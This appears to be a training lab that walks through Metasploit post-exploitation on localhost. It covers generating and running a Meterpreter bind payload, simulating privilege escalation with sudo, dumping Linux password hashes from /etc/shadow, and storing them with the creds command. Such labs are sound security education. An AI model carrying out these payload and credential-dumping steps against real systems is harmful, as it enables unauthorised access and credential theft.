Introduction
In this lab, you will perform critical post-exploitation tasks using the Metasploit Framework. Post-exploitation occurs after an attacker has successfully compromised a target system. The goal during this phase is to gather information, escalate privileges, and extract credentials (such as password hashes) to maintain access or move laterally to other systems on the network.
Credential access matters because one compromised host is often only the beginning. Password material and tokens are the bridge from local compromise to broader network reach.
You will utilize Meterpreter, an advanced, dynamically extensible payload that provides a powerful command shell. Through hands-on practice, you will learn how to check your current user privileges, simulate privilege escalation, extract local password hashes, and store these credentials in the Metasploit database for future use.
This sequence is intentional: privilege level determines what secrets you can reach, and the secrets you reach often determine where you can move next.
Check Current Privileges (getuid)
In this step, you will set up your environment by installing Metasploit, generating a Meterpreter payload, and establishing your first session. Once connected, you will use the getuid command to identify the user account under which your payload is running.
Knowing your current identity is basic but essential. Many post-exploitation actions succeed or fail entirely based on which account context the session has.
First, install the Metasploit Framework using the installation script prepared for you. This process will download and install the necessary components.
sudo /tmp/msfinstall
Metasploit uses a PostgreSQL database to keep track of your findings, such as extracted credentials. In this lab environment, msfdb init can prepare the local database by itself, so you can initialize it directly:
msfdb init
If you see a message such as postgresql: unrecognized service, you can ignore it in this environment as long as msfdb init completes successfully.
Next, generate a Linux Meterpreter payload. A payload is the malicious code that executes on the target system. We will create a bind_tcp payload, which opens a port on the target and waits for us to connect to it.
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf
If this is your first time using Metasploit in the current lab environment, you may see an initial setup prompt before msfvenom runs. When asked whether you want to set up a new database, answer yes and wait for the setup to finish. After that, msfvenom will continue and save the payload file.
Make the generated payload executable:
chmod +x ~/project/payload.elf
Now, execute the payload in the background. This simulates a victim running the malicious file on their system.
./payload.elf &
With the payload running and listening on port 4444, use msfconsole to connect to it. The following command automatically configures the handler and connects to your payload, dropping you directly into a Meterpreter session.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Once the connection is established, you will see the meterpreter > prompt. To check your current privileges, type the following command:
getuid
You should see an output similar to this, indicating that you are running as the standard labex user:
Server username: uid=1000, gid=1000, euid=1000, egid=1000
Escalate Privileges (getsystem)
In a real-world scenario, standard user privileges are often insufficient for critical tasks like dumping password hashes. Attackers must escalate their privileges to the highest level.
In Windows environments, Meterpreter provides the getsystem command, which automatically attempts various techniques to elevate privileges to NT AUTHORITY\SYSTEM. However, on Linux systems, privilege escalation typically involves exploiting local vulnerabilities or misconfigurations (like weak sudo permissions) to become the root user.
Since we are practicing on a Linux environment, we will simulate successful privilege escalation by executing our payload with sudo.
First, exit your current standard-user Meterpreter session by typing:
exit
This will close the session and return you to the standard Linux terminal. You should wait until you are back at the normal shell prompt, which looks similar to labex:project/ $. Only after you have returned to that shell prompt should you run the next command.
Now, execute the payload again, but this time use sudo to run it as the root user. The & symbol runs it in the background.
sudo ./payload.elf &
Connect to the new, highly privileged payload using msfconsole just as you did before:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Once the meterpreter > prompt appears, verify that you have successfully escalated your privileges by checking your user ID again:
getuid
The output should now confirm that you have system-level (root) access. In this environment, the most common output is:
Server username: root
Some Meterpreter builds may show a more detailed numeric form such as uid=0, gid=0, euid=0, egid=0. Both forms indicate that the session is running with root privileges.
Execute Hashdump
Now that you have system-level access, you can perform advanced post-exploitation tasks. One of the most critical tasks is extracting password hashes.
This is where privilege escalation translates into operational impact. Higher privileges are useful because they unlock access to protected credential stores and sensitive system state.
On Windows, attackers use the hashdump command to extract hashes from the SAM (Security Account Manager) database. On Linux, user password hashes are stored in the /etc/shadow file, which is only readable by the root user. Metasploit provides a specific post-exploitation module to automate the extraction and parsing of these Linux hashes.
In your active root Meterpreter session, execute the Linux hashdump module by typing:
run post/linux/gather/hashdump
You will see output indicating that Metasploit has extracted one or more account hashes and saved the unshadowed results to the loot directory.
[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt
These extracted hashes can later be subjected to offline password cracking attacks using tools like John the Ripper or Hashcat to recover the plaintext passwords, enabling further lateral movement across the network.
Store Hashes in the Database (creds)
A major advantage of using the Metasploit Framework is its ability to automatically manage the data you collect during an engagement. Because you initialized the database in Step 1, Metasploit automatically stores the password hashes you just dumped.
To view the stored credentials, you need to return to the main msfconsole prompt. You can do this by backgrounding your current Meterpreter session.
In the Meterpreter prompt, type:
background
You will be returned to the msf6 > prompt. Now, use the creds command to display all the credentials that Metasploit has collected and stored in its database:
creds
The output will display a structured table containing the host IP, port, username, and the extracted password hash.
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
1 127.0.0.1 labex $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812 Nonreplayable hash yescrypt
This centralized credential management is incredibly useful during large-scale penetration tests, allowing you to easily keep track of compromised accounts and reuse them in other Metasploit modules.
To exit msfconsole and complete the lab, type:
exit
If Metasploit warns that you still have an active session open, type exit -y to close the console and finish the lab.
Summary
In this lab, you successfully navigated the critical phases of post-exploitation using the Metasploit Framework. You learned how to establish a Meterpreter session, verify your current privileges using getuid, and understand the importance of privilege escalation (simulating the goal of getsystem). Furthermore, you utilized Metasploit's post-exploitation modules to execute a hashdump, extracting local password hashes from the target system. Finally, you explored how Metasploit automatically manages these findings, allowing you to view stored credentials using the creds command. These skills are fundamental for assessing the security posture of systems and understanding how attackers move laterally within a network.
